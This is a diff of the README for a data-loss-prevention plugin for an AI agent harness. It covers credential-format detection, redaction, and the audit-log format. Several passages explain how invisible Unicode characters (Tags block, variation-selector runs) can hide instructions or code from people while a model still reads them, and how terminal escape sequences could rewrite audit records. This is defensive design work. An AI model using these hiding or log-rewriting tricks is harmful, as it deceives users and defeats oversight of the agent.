- failure and tells the model nothing it can act on. The call still fails; it fails
504
- comprehensibly. Where the plugin cannot answer the question โ€” no schema resolved, or a
505
- schema whose own value it cannot validate โ€” the registry decides as before.
506
- - Redaction is per-detection, and each span grows to the nearest delimiter โ€” whitespace,
507
- quotes, `=`, `:`, `,`, brackets. A line of minified JSON loses the field that matched, not
508
- the whole line.
509
-
510
- Replacement runs before the `tool/result` session event is appended, so the durable log records
511
- the redacted copy.
512
-
513
- ## Detection
514
-
515
- Two tiers:
516
-
517
- - **Tier 1**, synchronous and owned by this package: prefix-anchored token formats (AWS,
518
- GitHub, GitLab, Slack, Stripe, OpenAI, OpenRouter, Anthropic, Google API keys and
519
- `GOCSPX-` OAuth client secrets, npm, HuggingFace, Groq, xAI, Databricks, SendGrid,
520
- Supabase, Notion), PEM private-key blocks, JWTs, credential-bearing URLs,
521
- Slack/Discord/Teams webhook URLs, and high-signal secret assignments. This is the tier the
522
- guard and the telemetry listener use, because both of those seams are synchronous, and it is
523
- never capped.
524
-
525
- Prefix-anchored is the whole criterion for being in this tier, and the reason the table keeps
526
- growing rather than deferring to tier 2 is the line below: **the telemetry seam cannot reach
527
- tier 2**, so a format missing from tier 1 is exported in the clear when telemetry is on.
528
- - **Tier 2**, [`@secretlint/core`](https://github.com/secretlint/secretlint) with the
529
- recommended preset โ€” 28 maintained rules, in-process, no subprocess. Used at
530
- `tools/pre-execute` and `tools/post-execute`, the two seams that can await. **The telemetry
531
- seam cannot reach it**: `session-telemetry/record` returns a record synchronously, so a
532
- secret only secretlint recognises survives telemetry export.
533
-
534
- A tool result is scanned twice: each of its strings on its own by tier 1, and all of them
535
- joined by newlines through both tiers. The joined pass finds what no single string reproduces โ€”
536
- a PEM block arriving as one line per array element, which is exactly the shape `read` produces.
537
-
538
- ### Invisible characters
539
-
540
- Tier 1 also looks for characters that hide text from the person reading a tool result while
541
- the model still reads it. The harness strips directional controls in exactly one place โ€”
542
- session titles โ€” and never on the tool-result path.
543
-
544
- | Class | Code points | What happens |
545
- |---|---|---|
546
- | Tags block | `U+E0000โ€“U+E007F` | replaced |
547
- | Bidi overrides and isolates | `U+202Aโ€“U+202E`, `U+2066โ€“U+2069` | replaced |
548
- | Zero-width | `U+200Bโ€“U+200D`, `U+2060`, `U+FEFF` | counted only |
549
- | Bidi marks | `U+061C`, `U+200Eโ€“U+200F` | counted only |
550
- | Variation selectors, 1โ€“3 in a row | `U+FE00โ€“U+FE0F`, `U+E0100โ€“U+E01EF` | counted only |
551
- | Variation selectors, 4 or more in a row | the same class | replaced |
552
- | Terminal control sequences | CSI, OSC, DCS, SOS, PM, APC, other `ESC` forms, C1 `U+0080โ€“U+009F` | counted in tool results, **replaced in the audit sink** |
553
-
554
- The first two have no legitimate use in tool output โ€” the Tags block is a full invisible ASCII
555
- alphabet, which is what makes it the standard carrier for a hidden instruction. The last three
556
- do: `U+200D` joins an emoji sequence and a variation selector picks a glyph, so replacing them
557
- would corrupt ordinary text. They are counted in the audit record's `unicode` field and left
558
- alone, as a `medium` finding.
559
-
560
- Every class is `medium`, below the severity at which the guard floor denies, so an invisible
561
- character is never turned into a denial. A replaced run becomes an ordinary placeholder and,
562
- unlike a secret, is replaced exactly: an invisible character is not widened to its surrounding
563
- delimiters, so the visible word it hid inside survives.
564
-
565
- **Variation selectors are split by run length.** One selector picks a glyph โ€” VS15/VS16 after a
566
- base character, one selector after one ideograph in an Ideographic Variation Sequence โ€” so an
567
- isolated occurrence stays counted-only. A run of four or more is not glyph selection: it is a
568
- byte string wearing the same code points, which is how GlassWorm hid executable JavaScript
569
- across five waves, 35,800 installs, 300+ repositories and the first MCP package compromises. An
570
- emoji ZWJ sequence separates its selectors with a joiner, so no legitimate sequence produces a
571
- run at all; four is a conservative floor, and a real payload is hundreds of selectors long.
572
-
573
- **Terminal control sequences are split by lane rather than by class.** A tool result carrying
574
- SGR colour codes is the normal output of `git diff`, `rg` and `pytest`, so on that lane the
575
- class is counted and left alone. On the lane that ends in an audit record it is **replaced**
576
- with `[REDACTED:dsh-dlp:control-sequence]`, because a record is evidence and evidence must not
577
- be able to rewrite itself: `JSON.stringify` escapes the byte in the file, but `dsh-dlp report`,
578
- `jq -r` and every log viewer parse it back into a live escape, so a tool registered under a name
579
- containing `ESC [ 1 A ESC [ 2 K` could overwrite the audit line describing it. The whole CSI
580
- form is matched, not the SGR subset, along with OSC, DCS, SOS, PM, APC, the other escape forms
581
- and the 8-bit C1 controls; an unterminated OSC is matched to the end of the string, because that
582
- is how much of the display it would swallow. A repo-local `policyFile` whose rule `id` carries
583
- one is rejected outright, since a rule id is quoted in the denial the user reads.
584
-
585
- Not covered: a bare `\r`, `\b` or `\f` can still overprint a line on a terminal. Those have
586
- ordinary uses in tool output and are escaped by `JSON.stringify` in the sink; the escape-driven
587
- forms above are the ones with no benign use in a record.
588
-
589
- **A homoglyph defeats all of this**, and every other rule in this plugin. A Cyrillic `ะฐ` in
590
- `ะฐdmin` is a normal, visible, legitimately-encoded character; detecting it means UTS #39
591
- confusable tables, which is a data set and a different cost class. This plugin does not attempt
592
- it, and no rule here should be read as covering it.
593
-
594
- Measured cost of the invisible-character scan over 512 KB, median of 30 runs on an i9-12900H
595
- under Node 22.23.2:
596
-
597
- | Input | Cost |
598
- |---|---|
599
- | clean Latin-1 text | 0.002 ms |
600
- | one hidden instruction (69 characters) | 0.355 ms |
601
- | 7,653 separate runs | 7.9 ms |
602
- | 512 KB of alternating invisible characters (524,286 runs) | 56โ€“113 ms |
603
-
604
- Clean text is free because every character in the table is above `U+00FF`: the regular
605
- expression engine rejects a Latin-1 string on its encoding without scanning it. The last row is
606
- a crafted input, not a plausible one, and it is the only case that leaves the โ‰ค10 ms per result
607
- budget; `maxScanBytes` caps tier 2 only, so tier 1 always sees the whole result.
608
-
609
- Measured cost of a tier-2 scan: 0.78 ms at 1 KB, 0.91 ms at 16 KB, 2.22 ms at 128 KB, 5.11 ms
610
- at 512 KB. `maxScanBytes` caps **tier 2 only**, once per result, over the joined rendering;
611
- tier 1 always scans everything. When tier 2 saw less than the whole result the audit record
612
- says `truncatedScan: true`, and that record is written even when nothing was found, so a
613
- partial scan never looks like a clean one.
614
-
615
- ---
616
-
617
- ## Audit output
618
-
619
- One JSON object per line in `auditLog`. Nothing is ever written to the session log: the
620
- harness's `Session.append()` cannot set the envelope's `ignorable` flag, and an out-of-repo
621
- event type makes the user's next resume refuse the whole session. Each record therefore carries
622
- its own identity.
623
-
624
- ```json
625
- {
626
- "v": 1,
627
- "time": "2026-08-15T19:44:33.861Z",
628
- "kind": "result-redaction",
629
- "decisionId": "dlp-1e8ab1bb-5c8d-4410-b98d-39b83037ea63",
630
- "tool": "read",
631
- "callId": "mock-call-1",
632
- "rootCallId": "mock-call-1",
633
- "sessionId": "session-880b9ece-3633-427d-b0a8-cf202ea09917",
634
- "turn": 1,
635
- "step": 1,
636
- "spans": [
637
- {
638
- "ruleId": "dsh-dlp/slack-token",
639
- "ruleVersion": 1,
640
- "severity": "critical",
641
- "start": 17,
642
- "end": 73,
643
- "hash": "ca9cad27f2b5",
644
- "path": "/lines/1/text"
645
- }
646
- ]
647
- }
648
- ```
649
-
650
- `kind` is one of `guard-deny`, `pre-execute-deny`, `pre-execute-ask`, `execution-mutation`,
651
- `result-redaction`, `telemetry-redaction`, `assistant-image-neutralized`. A `pre-execute-ask`
652
- record carries a top-level `ruleId` instead of `spans`: the finding is that a path names a
653
- behaviour-changing file, not that any region of it matched. An `execution-mutation` record carries
654
- `mutatedFields` and, when a tool substitution happened, the `originalTool` the log recorded. An
655
- `assistant-image-neutralized` record carries `host` โ€” the hostname of the blocked destination
656
- and nothing else from the URL.
657
- A `result-redaction` record may also carry `unicode`, a count of invisible-character runs per
658
- class โ€” counts only, because a hidden instruction is exactly the content this file must not
659
- repeat. A record is written whenever there is something to say, including a result that was
660
- only counted and a result whose tier-2 scan was truncated.
661
- A record carries no free-text reason: the spans are the whole description of what matched, so
662
- nothing built from a candidate path or command line can reach the file. An audit write failure
663
- is reported and swallowed rather than turned into a denial: the sink is evidence, not
664
- enforcement, and a full disk should not take the agent down.
665
-
666
- Reported means `process.stderr` **and** `ctx.logger`, for that failure and for an invalid
667
- policy file. The logger alone is not enough: its default exporter is an in-memory 1000-entry
668
- ring buffer and no shipped bundle mounts a console exporter, so a message sent only there is
669
- invisible on a stock install. `process.stderr` is what the headless runner itself writes to.
670
-
671
- ---
102
+ [Configuration reference โ†’](https://charlotten7.github.io/dsh-dlp/configuration.html) ยท
103
+ [What gets denied โ†’](https://charlotten7.github.io/dsh-dlp/denials.html) ยท
104
+ [Redaction and detection โ†’](https://charlotten7.github.io/dsh-dlp/redaction.html)
672
105
 
673
106
  ## Reading the audit log
674
107
 
675
- The package installs a `dsh-dlp` command that reads the JSONL sink and summarises it. It
676
- imports nothing from the harness, so it runs wherever the package is installed, with no profile
677
- and no `dsh` on the path:
678
-
679
108
  ```sh
680
- dsh-dlp report # everything in $DSH_HOME/dsh-dlp.audit.jsonl
681
- dsh-dlp report --since 24h # or an ISO timestamp
682
- dsh-dlp report --session <id>
683
- dsh-dlp report --would-have # only the calls that were let through
684
- dsh-dlp report --log /var/log/dsh-dlp.audit.jsonl
109
+ dsh-dlp report # everything in the audit sink
110
+ dsh-dlp report --since 24h
111
+ dsh-dlp report --kind guard-deny
685
112
  ```
686
113
 
687
- It prints counts by decision, by rule, by tool and by invisible-character class, then the ten
688
- most recent decisions. `--would-have` drops the denials and leaves the redactions and the
689
- invisible-character findings: those are the calls that ran, with their results rewritten, and
690
- they are what a policy that denied instead of rewriting would have blocked.
114
+ Every record carries a rule id, rule version, span offsets and a keyed hash โ€” never the matched
115
+ value.
691
116
 
692
- The sink is append-only and a run can be interrupted mid-append, so a line that does not parse
693
- as a record is counted and reported rather than trusted. If the deployment set `auditLog` to
694
- somewhere other than the default, pass `--log`; the command says which file it looked at.
117
+ [Audit record format โ†’](https://charlotten7.github.io/dsh-dlp/audit.html)
695
118
 
696
- A plugin installed into a profile puts its bin in that profile's `node_modules/.bin`, which is
697
- not on `PATH`. Run it from there, or install the package globally:
119
+ ## Mitigations for defects in the harness itself
698
120
 
699
- ```sh
700
- "$DSH_HOME/profiles/<name>/node_modules/.bin/dsh-dlp" report
701
- ```
121
+ Three registrations work around defects in DeepSeek Harness rather than in your configuration:
122
+ remote markdown images in assistant output, a tool call rewritten between `tools/pre-execute` and
123
+ the guard, and a telemetry redactor that cannot run under the shipped default. **None of them
124
+ closes its channel** and an upstream fix is better in all three cases.
702
125
 
703
- ---
126
+ [What each one does and does not close โ†’](https://charlotten7.github.io/dsh-dlp/harness-mitigations.html)
704
127
 
705
128
  ## Development
706
129
 
@@ -708,12 +131,16 @@ not on `PATH`. Run it from there, or install the package globally:
708
131
  nvm use 22 # Node ^22.19.0 || >=24, and pnpm 11
709
132
  pnpm install
710
133
  pnpm run typecheck
711
- pnpm run test # unit
712
134
  pnpm run test:coverage
713
135
  pnpm run test:e2e # boots a real dsh against a mock model; no API key
714
136
  ```
715
137
 
716
- The E2E harness boots a `dsh` checkout beside this one (`../dsh`); point `DSH_REPO` elsewhere
717
- to override. That checkout needs `pnpm run build:lib:host` to have run at least once. Set
718
- `DSH_CLI` to an installed `node_modules/@deepseek-ai/dsh/lib/bin.js` to run against the
719
- published CLI instead, which needs no monorepo โ€” that is what CI does.
138
+ Coverage is gated at 100% per file: this is a security control, so an untested branch in a deny
139
+ path is an unproven deny path.
140
+
141
+ Design decisions and their rationale live in [ADR.md](ADR.md). Security policy is in
142
+ [SECURITY.md](SECURITY.md).
143
+
144
+ ## License
145
+
146
+ MIT